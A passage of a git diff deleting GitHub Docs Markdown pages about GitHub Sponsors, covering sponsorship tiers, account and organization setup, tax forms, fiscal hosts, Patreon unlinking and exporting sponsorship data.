reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-your-goals-tab %} -{% data reusables.sponsors.edit-goal %} -{% data reusables.sponsors.retire-goal %} - -## Sharing a goal - -You can share your sponsorship goal on social media or embed it on your personal website. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-your-goals-tab %} -1. Under your goal, click the **Share** or **Embed it** button. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md deleted file mode 100644 index 1a093d040f5d..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Managing your sponsorship tiers -intro: 'You can add a new sponsorship tier, or edit or retire an existing tier.' -redirect_from: - - /articles/changing-your-sponsorship-tiers - - /github/supporting-the-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers - - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors profile -shortTitle: Manage payment tiers ---- - -## About sponsorship tiers - -{% data reusables.sponsors.tier-details %} - -{% data reusables.sponsors.maximum-tier %} - -## Adding a tier - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -1. If you are setting up tiers for the first time, we recommend you review the suggested tier examples to see how some other open source contributors have set up {% data variables.product.prodname_sponsors %}. Decide whether you want to start with some suggested draft tiers, which you can customize in the tier editor. - * To use a suggested tier, select the rewards you'd like to include in your draft tier or tiers. Then, click **Continue to tier editor**. - * To create tiers without using with any of the draft suggestions, click **Skip this step**. -1. Optionally, in the text boxes in the "Custom amounts" section, type a recommended or minimum sponsorship amount. The minimum amount applies to both recurring and one-time sponsorships. -1. Optionally, to edit a draft tier, find the draft tier and click **Edit**. - -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} - -## Editing or retiring a tier - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.edit-tier %} - - > [!NOTE] - > To see ideas of tier descriptions, scroll down. - -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.tier-update %} -{% data reusables.sponsors.retire-tier %} - -## Adding a repository to a sponsorship tier - -{% data reusables.sponsors.sponsors-only-repos %} - -### About adding repositories to a sponsorship tier - -To add a repository to a tier, the repository must be private and owned by an organization, and you must have admin access to the repository. - -When you add a repository to a tier, {% data variables.product.company_short %} will automatically send repository invitations to new sponsors and remove access when a sponsorship is canceled. - -Only personal accounts, not organizations, can be invited to private repositories associated with a sponsorship tier. - -You can also manually add or remove collaborators to the repository, and {% data variables.product.company_short %} will not override these in the sync. - -### About transfers for repositories that are added to sponsorship tiers - -If you transfer a repository that has been added to a sponsorship tier, sponsors who have access to the repository through the tier may be affected. - -* If the sponsored profile is for an organization and the repository is transferred to a different organization, current sponsors will be transferred, but new sponsors will not be added. The new owner of the repository can remove existing sponsors. -* If the sponsored profile is for a personal account, the repository is transferred to an organization, and the personal account has admin access to the new repository, existing sponsors will be transferred, and new sponsors will continue to be added to the repository. -* If the repository is transferred to a personal account, all sponsors will be removed and new sponsors will not be added to the repository. - -### Adding a repository a sponsorship tier - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.edit-tier %} -1. Select **Grant sponsors access to a private repository**. -1. Select the dropdown menu that appears and click the repository you want to add. - - ![Screenshot of a sponsor tier editing screen. An expanded dropdown menu of repositories you can grant sponsors access to is outlined in dark orange.](/assets/images/help/sponsors/grant-sponsors-access-to-repo-dropdown.png) - -{% data reusables.sponsors.tier-update %} diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md deleted file mode 100644 index c3143bdd8e29..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Setting up GitHub Sponsors for your organization -intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.' -redirect_from: - - /articles/setting-up-github-sponsorship-for-your-organization - - /articles/receiving-sponsorships-as-a-sponsored-organization - - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-organization -permissions: 'Organization owners can set up {% data variables.product.prodname_sponsors %} for an organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Sponsors profile - - Open Source -shortTitle: Set up for organization ---- - -## Joining {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %} - -After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization. - -To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account). - -{% data reusables.sponsors.navigate-to-github-sponsors %} -{% data reusables.sponsors.view-eligible-accounts %} -1. To the right of your organization, click **Join the waitlist**. -{% data reusables.sponsors.contact-info %} -{% data reusables.sponsors.payout-choice %} -{% data reusables.sponsors.accept-legal-terms %} - -## Completing your sponsored organization profile - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -{% data reusables.sponsors.short-bio %} -{% data reusables.sponsors.add-introduction %} -{% data reusables.sponsors.meet-the-team %} -{% data reusables.sponsors.edit-featured-work %} -{% data reusables.sponsors.opt-in-to-being-featured %} -{% data reusables.sponsors.save-profile %} - -## Creating sponsorship tiers - -{% data reusables.sponsors.tier-details %} - -{% data reusables.sponsors.maximum-tier %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} -{% data reusables.sponsors.add-more-tiers %} - -## Submitting your bank information - -As a sponsored organization, you will receive payouts to a bank account in a supported region or via a fiscal host. - -{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts). - -If you choose to receive payouts to a bank account, your bank account can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %} - -{% data reusables.sponsors.double-check-stripe-info %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.create-stripe-account %} - -## Submitting your tax information - -{% data reusables.sponsors.tax-form-information-org %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.overview-tab %} -{% data reusables.sponsors.tax-form-link %} - -## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account - -Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Submitting your application to {% data variables.product.prodname_dotcom %} for approval - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.request-approval %} - -{% data reusables.sponsors.github-review-app %} - -## Further reading - -* [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) -* [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors) diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md deleted file mode 100644 index 39990e99e11d..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Setting up GitHub Sponsors for your personal account -intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /articles/becoming-a-sponsored-developer - - /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer - - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-user-account - - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - User account - - Sponsors profile -shortTitle: Set up for personal account ---- - -## Joining {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %} - -To join {% data variables.product.prodname_sponsors %} as an organization, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -{% data reusables.sponsors.navigate-to-github-sponsors %} -1. If you are an organization owner, you have more than one eligible account. Click **Get sponsored**, then in the list of accounts, find your personal account. -1. Click **Get sponsored**. -{% data reusables.sponsors.contact-info %} -{% data reusables.sponsors.payout-choice %} -{% data reusables.sponsors.accept-legal-terms %} - -## Completing your sponsored developer profile - -After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -{% data reusables.sponsors.short-bio %} -{% data reusables.sponsors.add-introduction %} -{% data reusables.sponsors.edit-featured-work %} -{% data reusables.sponsors.opt-in-to-being-featured %} -{% data reusables.sponsors.save-profile %} - -## Creating sponsorship tiers - -{% data reusables.sponsors.tier-details %} - -{% data reusables.sponsors.maximum-tier %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} -{% data reusables.sponsors.add-more-tiers %} - -## Submitting your bank information - -As a sponsored user, you will receive payouts to a bank account in a supported region or via a fiscal host. - -{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts). - -If you choose to receive payouts to a bank account, your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %} - -{% data reusables.sponsors.double-check-stripe-info %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.create-stripe-account %} - -## Submitting your tax information - -{% data reusables.sponsors.tax-form-information-dev %} - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.overview-tab %} -{% data reusables.sponsors.tax-form-link %} - -## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account - -Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Submitting your application to {% data variables.product.prodname_dotcom %} for approval - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -1. Click **Request approval**. - -{% data reusables.sponsors.github-review-app %} diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md deleted file mode 100644 index 043d82ba4fc0..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Tax information for GitHub Sponsors -intro: 'Sponsored developers and organizations must submit tax information to {% data variables.product.prodname_dotcom %} and are responsible for evaluating and paying their own taxes.' -redirect_from: - - /articles/tax-information-for-sponsored-developers - - /github/supporting-the-open-source-community-with-github-sponsors/tax-information-for-sponsored-developers -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Open Source - - Sponsors payments -shortTitle: Tax information ---- - -## W-9/W-8 tax forms - -By law, {% data variables.product.prodname_dotcom %} is required by the U.S. Internal Revenue Service (IRS) to collect tax information from all U.S. and non-U.S. maintainers. These forms are held by Stripe and are not required to be submitted to the IRS. - -### W-9 (U.S.) - -The information from W-9 tax forms helps Stripe use the correct Taxpayer Identification Number (TIN) to report income paid to you to the IRS in a 1099 form. - -If you are a taxpayer in the United States, you must submit a [W-9](https://www.irs.gov/forms-pubs/about-form-w-9) before you can publish your {% data variables.product.prodname_sponsors %} profile. - -### W-8 BEN/W-8 BEN-E (non-U.S.) - -W-8 BEN and W-8 BEN-E tax forms help {% data variables.product.prodname_dotcom %} determine the beneficial owner of an amount subject to withholding. - -If you are a taxpayer in any other region besides the United States, you must submit a [W-8 BEN](https://www.irs.gov/pub/irs-pdf/fw8ben.pdf) (individual) or [W-8 BEN-E](https://www.irs.gov/forms-pubs/about-form-w-8-ben-e) (company) form before you can publish your {% data variables.product.prodname_sponsors %} profile. For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account#submitting-your-tax-information) and [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization#submitting-your-tax-information). Stripe will send you the appropriate forms, notify you when they are due, and give you a reasonable amount of time to complete and send in the forms. - -If you have been assigned an incorrect tax form, you can contact Stripe to get reassigned the correct one for your situation. For more information, see [Contact Us](https://support.stripe.com/contact/email?topic=connect) on the Stripe Support site. - -### Tax identification numbers - -The W-8 BEN and W-8 BEN-E tax forms ask for a "U.S. taxpayer identification number (SSN or ITIN)" or "Foreign tax identifying number". - -If you are not a U.S. citizen or other U.S. person, including a resident alien individual, then you will usually need to provide the "Foreign tax identifying number". This is a tax identification number that your country of residence has issued you. - -If your country of residence or billing country is India, then you can use your Permanent Account Number (PAN) as your tax identification number. - -> [!NOTE] -> If your country does not require citizens to have a tax number issued by the government, then you can instead write "not legally required". -> -> Guidance from the IRS states that you should not write "not applicable." For more information, see [Instructions for Form W-8BEN, Line 6](https://www.irs.gov/instructions/iw8ben#idm139867098922656) on the IRS website. - -The IRS allows non-resident and resident aliens to request an [Individual Taxpayer Identification Number](https://www.irs.gov/individuals/international-taxpayers/taxpayer-identification-numbers-tin#itin) or ITIN. It is unlikely that this is necessary for maintainers receiving income through {% data variables.product.prodname_sponsors %}, but read the full [instructions](https://www.irs.gov/pub/irs-pdf/iw8ben.pdf) to determine your individual circumstances. - -## 1099 forms - -If you are a taxpayer in the United States and earn more than 600 US dollars in a tax year, {% data variables.product.prodname_dotcom %} will send you a [1099-NEC](https://www.irs.gov/forms-pubs/about-form-1099-nec) before January 31 of the next calendar year. We do not provide tax forms for international taxpayers. - -## General tax information - -{% data variables.product.prodname_dotcom %} does not withhold tax from {% data variables.product.prodname_sponsors %} payments. Sponsored developers are responsible for evaluating and paying their own taxes. - -{% data reusables.sponsors.sponsorships-not-tax-deductible %} - -## Sales tax - -{% data variables.product.prodname_dotcom %} is providing information to assist you in calculating your sales tax obligations. This information is not personalized to your country or tax situation and we recommend you talk to a professional to understand your specific obligations. However, we'd like to provide some high-level information to help you understand the general principles of digital sales tax. - -In most countries around the world, sales tax for digital transactions is based on the location of the recipient, not on the seller. For example, if you are a maintainer in the United States and you provide a taxable benefit to a Sponsor in Germany, German sales tax would apply. - -Sales tax is generally only applicable when a good or service of value is being provided. Goodwill/general support/undying appreciation is not normally taxable. - -In the US, both B2B (business-to-business) and B2C (business-to-consumer) are subject to sales tax. - -In the EU and most other countries and regions, B2C sales are subject to sales tax. B2B sales are not subject to tax. C2C and C2B sales where a consumer is not registered for VAT are not taxable. - -## Further reading - -* [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships) diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/unlinking-your-patreon-account-from-your-github-sponsors-profile.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/unlinking-your-patreon-account-from-your-github-sponsors-profile.md deleted file mode 100644 index 7969e55e5898..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/unlinking-your-patreon-account-from-your-github-sponsors-profile.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Unlinking your Patreon account from your GitHub Sponsors profile -intro: 'You can disconnect your Patreon account from your {% data variables.product.prodname_sponsors %} profile to stop receiving new sponsorships through Patreon.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Unlink Patreon ---- - -> [!NOTE] -> Unlinking your Patreon account from your {% data variables.product.prodname_sponsors %} profile will prevent new sponsors from sponsoring you through Patreon, but it **will not** cancel existing sponsorships through Patreon. Instead, they will appear as cancelled on {% data variables.product.prodname_dotcom %} and your sponsors will have to cancel those sponsorships themselves on Patreon. For more information, see [How do I cancel?](https://support.patreon.com/hc/en-us/articles/360005502572-How-do-I-cancel-) in the Patreon documentation. - -## Unlinking your Patreon account from your {% data variables.product.company_short %} account - -{% data reusables.sponsors.unlink-patreon-account %} - -## Unlinking your Patreon account from your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Unlink Patreon account" section, click **Unlink Patreon account**. - -## Using the Patreon feature as a sponsor on your {% data variables.product.company_short %} account - -It is possible to stop receiving sponsorships through Patreon without unlinking your Patreon account from your {% data variables.product.prodname_sponsors %} profile. This allows you to use the Patreon feature as a sponsor and continue to get credit for any Patreon sponsorships you are funding. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -1. Under "Unlink Patreon account," uncheck **Allow people to pay you through Patreon**. -1. Click **Update Patreon preferences**. - -## Using the Patreon feature as a sponsor on your organization - -It is possible to stop receiving sponsorships through Patreon without unlinking your Patreon account from your organization. This allows you to use the Patreon feature as a sponsor and continue to get credit for any Patreon sponsorships your organization is funding. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. Under "Unlink Patreon account," uncheck **Allow people to pay you through Patreon**. -1. Click **Update Patreon preferences**. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md deleted file mode 100644 index 532b3ae96dbd..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Unpublishing your GitHub Sponsors profile -intro: 'If you don''t have any sponsors, you can unpublish your {% data variables.product.prodname_sponsors %} profile.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Unpublish your profile ---- - -If you have sponsors, you'll need to contact GitHub Support to help you unpublish your {% data variables.product.prodname_sponsors %} account. - -After your {% data variables.product.prodname_sponsors %} account is unpublished: -* You'll no longer receive sponsorship payments. -* You can request to re-publish your profile. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.settings-tab %} -1. In the "Unpublish your {% data variables.product.prodname_sponsors %} profile" section, click **Unpublish profile**. -1. To confirm, in the modal dialog that appears, click **Unpublish {% data variables.product.prodname_sponsors %} account**. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md deleted file mode 100644 index 1e347cec56b9..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Using a fiscal host to receive GitHub Sponsors payouts -intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %} and choosing a fiscal host for your payouts to come through.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - User account - - Sponsors profile -shortTitle: Using a fiscal host ---- - -## About using a fiscal host to receive {% data variables.product.prodname_sponsors %} payouts - -When you sign up for a {% data variables.product.prodname_sponsors %} profile so that you can be sponsored, you can choose whether to receive your payments in a Stripe Connect account that you control, or via a fiscal host that you already work with. - -{% data reusables.sponsors.bank-info-fiscal-host-reminder %} - -{% data variables.product.prodname_sponsors %} supports these fiscal hosts: - -* [Hack Club](https://hackclub.com/) -* [NumFOCUS](https://www.numfocus.org/) -* [Open Collective Europe](https://opencollective.com/europe) -* [Open Source Collective](https://opencollective.com/opensource) -* [Python Software Foundation](https://www.python.org/psf-landing/) -* [Software in the Public Interest](https://www.spi-inc.org/) -* [Software Underground](https://softwareunderground.org/) - -## Choosing to use a fiscal host - -Once you navigate to the "Join the waitlist" profile setup page for the account you want sponsored, you will see the "How you receive payouts" or "Organization bank account" section, depending on which type of account you are setting up. For more information on how to sign up for a {% data variables.product.prodname_sponsors %} profile, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) or [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -1. Under "How you receive payouts" or "Organization bank account", select the **Use a fiscal host** or **This organization is using a fiscal host** option. -1. Use the **Select a fiscal host** dropdown to choose the fiscal host you want to use. - - ![Screenshot of the fiscal host options for a sponsor profile. A collapsed dropdown menu, labeled "Select a fiscal host", is outlined in dark orange.](/assets/images/help/sponsors/choose-fiscal-host-dropdown.png) - -1. In the text box under "Fiscal host project profile URL", type the URL to your profile page on the fiscal host's site. This helps us verify that you are indeed registered with the fiscal host. - - ![Screenshot of fiscal host options for a sponsor profile. A text field, labeled "Fiscal host project profile URL", is outlined in dark orange.](/assets/images/help/sponsors/fiscal-host-profile-url-field.png) diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md deleted file mode 100644 index 20aa9f28fc8f..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Viewing your sponsors and sponsorships -intro: You can view and export detailed information and analytics about your sponsors and sponsorships. -redirect_from: - - /articles/viewing-your-sponsors-and-sponsorships - - /github/supporting-the-open-source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Analytics -shortTitle: View sponsors & sponsorships ---- - -## About sponsors and sponsorships - -You can view analytics on your current and past sponsorships, the payments you've received from sponsors, and events, such as cancellations and sponsor tier changes for your sponsorships. You can also view activity such as new sponsorships, changes to sponsorships, and canceled sponsorships. You can filter the list of activities by date. You can also export sponsorship data for the account you're viewing in CSV or JSON format. - -## About transaction metadata - -To track where your sponsorships are coming from, you can use custom URLs with metadata for your {% data variables.product.prodname_sponsors %} profile or checkout page. The metadata will be included in your transaction export in the metadata column. For more information about exporting transaction data, see [Exporting your sponsorship data](#exporting-your-sponsorship-data). - -Metadata must use the `key=value` format and can be added to the end of these URLs. - -* Sponsored account profile: `https://github.com/sponsors/{account}` -* Sponsorship checkout: `https://github.com/sponsors/{account}/sponsorships` - -The metadata will persist in the URL as a potential sponsor switches accounts to sponsor with, selects monthly or one-time payments, and chooses a different tier. - -### Syntax requirements - -Your metadata must meet the following requirements, which do not apply to any other URL parameters that are passed. - -* Keys must be prefixed by `metadata_`, such as `metadata_campaign`. In your transaction export, the `metadata_` prefix will be removed from the key. -* Keys and values must only contain alphanumeric values, dashes, or underscores. If non-accepted characters are passed in either keys or values, a 404 error will be presented. -* Whitespaces are not allowed. -* A maximum of **10** key-value pairs are accepted per request. If more are passed, only the first 10 will be saved. -* A maximum of **25** characters per key are accepted. If more than that are passed, only the first 25 will be saved. -* A maximum of **100** characters per value are accepted. If more than that are passed, only the first 100 will be saved. - -For example, you can use `https://github.com/sponsors/{account}?metadata_campaign=myblog` to track sponsorships that originate from your blog. `metadata_campaign` is the key and `myblog` is the value. In the metadata column of your transaction export, the key will be listed as `campaign`. - -## Viewing your sponsors and sponsorships - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -1. Optionally, to filter your sponsors by tier, use the **Filter** drop-down menu, click **Active tiers** or **Retired tiers**, and select a tier. - - ![Screenshot of the {% data variables.product.prodname_sponsors %} dashboard. An expanded dropdown menu, labeled "Filter: all sponsors," is outlined in dark orange.](/assets/images/help/sponsors/tier-filter-dropdown.png) - -## Viewing recent sponsorship activity - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.your-sponsors-tab %} - -## Exporting your sponsorship data - -You can export your sponsorship transactions by month. {% data variables.product.company_short %} will send you an email with transaction data for all of your sponsors for the month you select. After the export is complete, you can export another month of data. You can export up to 10 sets of data per hour for any of your sponsored accounts. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.your-sponsors-tab %} -1. In the top-right, click **{% octicon "download" aria-hidden="true" %} Export**. -1. Choose a time frame and a format for the data you'd like to export, then click **Start export**. diff --git a/content/sponsors/sponsoring-open-source-contributors/about-sponsorships-fees-and-taxes.md b/content/sponsors/sponsoring-open-source-contributors/about-sponsorships-fees-and-taxes.md deleted file mode 100644 index 32269a088361..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/about-sponsorships-fees-and-taxes.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: About sponsorships, fees, and taxes -intro: Learn about sponsorships, payment, and tax information for {% data variables.product.prodname_sponsors %}. -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Open Source - - Organizations - - Sponsors profile -shortTitle: About sponsorships -allowTitleToDifferFromFilename: true ---- - -## About sponsorships - -{% data reusables.sponsors.sponsorship-details %} - -You can sponsor an account on behalf of your personal account to invest in projects that you personally benefit from. You can sponsor an account on behalf of your organization for many reasons. -* Sustaining specific libraries that your organization's work depends on -* Investing in the ecosystem you rely on as an organization (such as blockchain) -* Developing brand awareness as an organization that values open source -* Thanking open source developers for building libraries that complement the product your organization offers - -We may share certain limited tax information with sponsored accounts. For more information, see [Tax information](#tax-information). - -You can choose whether to display your sponsorship publicly. One-time sponsorships remain visible for one month. - -If the sponsored account retires your tier, the tier will remain in place for you until you choose a different tier or cancel your subscription. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship) and [AUTOTITLE](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship). - -If the account you want to sponsor does not have a profile on {% data variables.product.prodname_sponsors %}, you can encourage the account to join. For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) and [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -> [!NOTE] -> {% data variables.product.github %} is not responsible for how developers represent themselves nor does {% data variables.product.github %} endorse any sponsored open source projects. The claims are solely the responsibility of the developer receiving the funds. Make sure you trust a person before offering a sponsorship. For more information, see the [{% data variables.product.prodname_sponsors %} Additional Terms](/free-pro-team@latest/site-policy/github-terms/github-sponsors-additional-terms). - -## About billing and sponsorship payments - -GitHub provides the following billing methods to show love and support to your fellow collaborators and developers in the form of paid sponsorships: debit or credit cards, and Patreon. -For additional information on your preferred funding, please click on any of the links below. -* [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github) -* [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-patreon) - -> [!NOTE] -> When sponsoring through GitHub, your balance will be charged effective immediately. {% data reusables.sponsors.prorated-sponsorship %} - -Alternatively, enterprises and organizations may opt to be billed by recurring invoice. For additional information on billing by invoice, please click on [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice). - -> [!WARNING] -> As of February 23, 2023, GitHub Sponsors does not support PayPal. While this only affects GitHub Sponsors, please note that it is still possible to fund GitHub Pro, GitHub Copilot, Actions and Packages, Storage, Codespaces and Git LFS Data using PayPal. - -{% ifversion enterprise-orgs-sponsors-with-cc %} - -When an enterprise opts to pay by credit card, it can enforce policies within its organizations that allow sponsoring of open source contributors by payments from the same card that was used for billing. For additional information, please click on [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-sponsors-in-your-enterprise). - -{% endif %} - -## Using the sponsorships dashboard for organizations - -You can use the sponsorships dashboard to see an overview of active and past sponsorships. Organization owners can use the dashboard to see how much they are paying, make changes to sponsorships, and export their sponsorships as a CSV file. Non-members and people signed out of {% data variables.product.github %} can see public sponsorships and organization members can see public and private sponsorships. - -You can access the sponsorships dashboard through your organization's profile. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} 